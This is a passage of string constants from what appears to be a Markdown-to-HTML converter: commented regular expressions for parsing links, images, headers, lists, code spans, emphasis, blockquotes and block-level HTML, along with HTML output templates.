( # $4
(['"]) # quote char = $5
(.*?) # title = $6
\5 # matching quote
[ ]* # ignore any spaces between closing quote and )
)? # title is optional
\)
)
( # wrap whole match in $1
\[
([^\[\]]+) # link text = $2; can't contain [ or ]
\]
)
( # wrap whole match in $1
!\[
(.*?) # alt text = $2
\]
[ ]? # one optional space
(?:\n[ ]*)? # one optional newline followed by spaces
\[
(.*?) # id = $3
\]
)
( # wrap whole match in $1
!\[
(.*?) # alt text = $2
\]
\s? # one optional whitespace character
\( # literal paren
[ ]*
({0}) # href = $3
[ ]*
( # $4
(['"]) # quote char = $5
(.*?) # title = $6
\5 # matching quote
[ ]*
)? # title is optional
\)
)
^(.+?)
[ ]*
\n
(=+|-+) # $1 = string of ='s or -'s
[ ]*
\n+
^(\#{1,6}) # $1 = string of #'s
[ ]*
(.+?) # $2 = Header text
[ ]*
\#* # optional closing #'s (not counted)
\n+
^[ ]{0,3} # Leading space
([-*_]) # $1: First marker
(?> # Repeated marker group
[ ]{0,2} # Zero, one, or two spaces.
\1 # Marker character
){2,} # Group repeated at least twice
[ ]* # Trailing spaces
$ # End of line.
( # $1 = whole list
( # $2
[ ]{{0,{1}}}
({0}) # $3 = first list item marker
[ ]+
)
(?s:.+?)
( # $4
\z
|
\n{{2,}}
(?=\S)
(?! # Negative lookahead for another list item marker
[ ]*
{0}[ ]+
)
)
)
(?:{0}|{1})
\d+[.]
(?:(?<=\n\n)|\A\n?)
(?:\n\n|\A\n?)
( # $1 = the code block -- one or more lines, starting with a space
(?:
(?:[ ]{{{0}}}) # Lines must start with a tab-width of spaces
.*\n+
)+
)
((?=^[ ]{{0,{0}}}\S)|\Z) # Lookahead for non-space at line-start, or end of doc
(?<!\\) # Character before opening ` can't be a backslash
(`+) # $1 = Opening run of `
(.+?) # $2 = The code block
(?<!`)
\1
(?!`)
(\*\*|__) (?=\S) (.+?[*_]*) (?<=\S) \1
([\W_]|^) (\*\*|__) (?=\S) ([^\r]*?\S[\*_]*) \2 ([\W_]|$)
(\*|_) (?=\S) (.+?) (?<=\S) \1
([\W_]|^) (\*|_) (?=\S) ([^\r\*_]*?\S) \2 ([\W_]|$)
( # Wrap whole match in $1
(
^[ ]*>[ ]? # '>' at the start of a line
.+\n # rest of the first line
(.+\n)* # subsequent consecutive lines
\n* # blanks
)+
)
(^|\s)(https?|ftp)(://[-A-Z0-9+&@#/%?=~_|\[\]\(\)!:,\.;]*[-A-Z0-9+&@#/%=~_|\[\]])($|\W)
^[ ]{1,
&|<|>|\\|\*|_|\{|\}|\[|\]
&(?!(#[0-9]+)|(#[xX][a-fA-F0-9])|([a-zA-Z][a-zA-Z0-9]*);)
<(?![A-Za-z/?\$!])
"'*()[]$:
(?> # Atomic matching
[^\[\]]+ # Anything other than brackets
|
\[
)*
(?> # Atomic matching
[^()\s]+ # Anything other than parens or whitespace
|
\(
)*
"
ins|del
p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|address|script|noscript|form|fieldset|iframe|math
(?>
# optional tag attributes
\s
# starts with whitespace
(?>
[^>"/]+
# text outside quotes
|
/+(?!>)
# slash not followed by >
|
"[^"]*"
# text inside double quotes (tolerate >)
|
'[^']*'
# text inside single quotes (tolerate >)
)*
)?
(?>
[^<]+
# content without tag
|
<\2
# nested opening tag
# attributes
(?>
/>
|
>
</\2\s*>
# closing nested tag
)
|
<(?!/\2\s*> # other tags with a different name
)
)*
(?>
(?>
(?<=\n) # Starting after a blank line
| # or
\A\n? # the beginning of the doc
)
( # save in $1
# Match from `\n<tag>` to `</tag>\n`, handling nested tags
# in between.
[ ]{0,$less_than_tab}
<($block_tags_b_re) # start tag = $2
$attr> # attributes followed by > and \n
$content # content, support nesting
</\2> # the matching end tag
[ ]* # trailing spaces
(?=\n+|\Z) # followed by a newline or end of document
| # Special version for tags of group a.
[ ]{0,$less_than_tab}
<($block_tags_a_re) # start tag = $3
$attr>[ ]*\n # attributes followed by >
$content2 # content, support nesting
</\3> # the matching end tag
[ ]* # trailing spaces
(?=\n+|\Z) # followed by a newline or end of document
| # Special case just for <hr />. It was easier to make a special
# case than to make the other regex more complicated.
[ ]{0,$less_than_tab}
<(hr) # start tag = $2
$attr # attributes
/?> # the matching end tag
[ ]*
(?=\n{2,}|\Z) # followed by a blank line or end of document
| # Special case for standalone HTML comments:
[ ]{0,$less_than_tab}
(?s:
<!-- .*? -->
)
[ ]*
(?=\n{2,}|\Z) # followed by a blank line or end of document
| # PHP and ASP-style processor instructions (<? and <%)
[ ]{0,$less_than_tab}
(?s:
<([?%]) # $2
.*?
\2>
)
[ ]*
(?=\n{2,}|\Z) # followed by a blank line or end of document
)
)
$less_than_tab
$block_tags_b_re
$block_tags_a_re
$content2
$content
<a href="
title="
[ ]*\n[ ]*
<a href="{0}"
title="{0}"
>{0}</a>
<img src="{0}" alt="{1}"
<h{1}>{0}</h{1}>
{1}</{0}>
\n{2,}\z
(\n)? # leading line = $1
(^[ ]*) # leading whitespace = $2
({0}) [ ]+ # list marker = $3
((?s:.+?) # list item text = $4
(\n{{1,2}}))
(?= \n* (\z | \2 ({0}) [ ]+))
<li>{0}</li>
<pre><code>
</code></pre>
<code>
</code>
$1<strong>$3</strong>$4
$1<em>$3</em>$4
<strong>$2</strong>
<em>$2</em>
<br{0}
{2,}\n
^[ ]*>[ ]?
^[ ]+$
(\s*<pre>.+?</pre>)
<blockquote>
</blockquote>
$1<$2$3>$4
<((https?|ftp):[^'">\s]+)>
(?:mailto:)?
(
[-.\w]+
\@
[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+
)
>
<a href="{0}">{0}</a>
mailto:
">.+?:
&#x{0:x};
&#{0};
(?<=.)</?code>(?=.)
(?>[^\[\]]+|\[
^[ \t]+$
^[ ]{{0,{0}}}\[(.+)\]:
# id = $1
[ \t]*
# maybe *one* newline
[ \t]*
<?(\S+?)>?
# url = $2
[ \t]*